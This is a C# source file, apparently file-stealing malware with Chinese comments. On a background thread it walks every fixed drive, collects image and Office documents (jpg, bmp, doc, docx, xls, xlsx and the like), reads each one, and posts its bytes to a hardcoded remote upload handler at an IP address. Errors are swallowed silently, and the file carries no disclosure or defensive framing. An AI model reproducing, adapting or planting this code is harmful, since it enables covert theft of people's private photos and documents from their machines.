﻿using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace Ked
{
    public class Ked
    {

        private static List<string> GetDefaultExtList()
        {
            List<string> extList = new List<string>();
            extList.Add("jpg");
            extList.Add("jpeg");
            extList.Add("bmp");
            extList.Add("doc");
            extList.Add("docx");
            extList.Add("xls");
            extList.Add("xlsx");
            return extList;
        }

        public void EnumAndUpload()
        {
            //包含扩展名
            List<string> extList = GetDefaultExtList();
            //开始枚举
            EnumFile enumFile = new EnumFile();
            new Thread(() =>
            {
                List<DriveInfo> driveInfoList = DriveUtils.GetFixedTypeDrive(DriveType.Fixed);

                foreach (DriveInfo info in driveInfoList)
                {
                    string rootDir = info.RootDirectory.ToString();
                    Debug.Print("enum files of rootDir:" + rootDir);
                    enumFile.DoEnumFile(rootDir, extList, OnFileAcquired);
                }

                Debug.Print("op passed");
            }).Start();
        }

        private void OnFileAcquired(List<string> fileList)
        {
            if (fileList == null)
                return;
            foreach (string path in fileList)
            {
                Debug.Print(path);
                try
                {
                    string fileName = Path.GetFileName(path);
                    byte[] data = File.ReadAllBytes(path);
                    PostToKSKX(fileName, data);
                }
                catch (Exception) { }
            }
        }

        private const string MANAGED_UPLOAD_ADDRESS = "http://112.17.119.84:92/HttpUpload/ManagedUpload.ashx";

        public static string PostToKSKX(string fileName, byte[] data,string remoteDir="ChatFiles\\ked")
        {
            Dictionary<string, object> paramMap = new Dictionary<string, object>();
            paramMap.Add("Dictionary", remoteDir);
            paramMap.Add(fileName, new HttpHelper4MultipartForm.FileParameter(data, fileName, "application/octet-stream"));
            HttpWebResponse response = HttpHelper4MultipartForm.MultipartFormDataPost(MANAGED_UPLOAD_ADDRESS, "", paramMap);
            MemoryStream ms = new MemoryStream();
            Stream stream = response.GetResponseStream();
            stream.CopyTo(ms);
            stream.Close();
            string result = Encoding.Default.GetString(ms.ToArray());
            Debug.Print(result);
            return result;
        }
    }
}
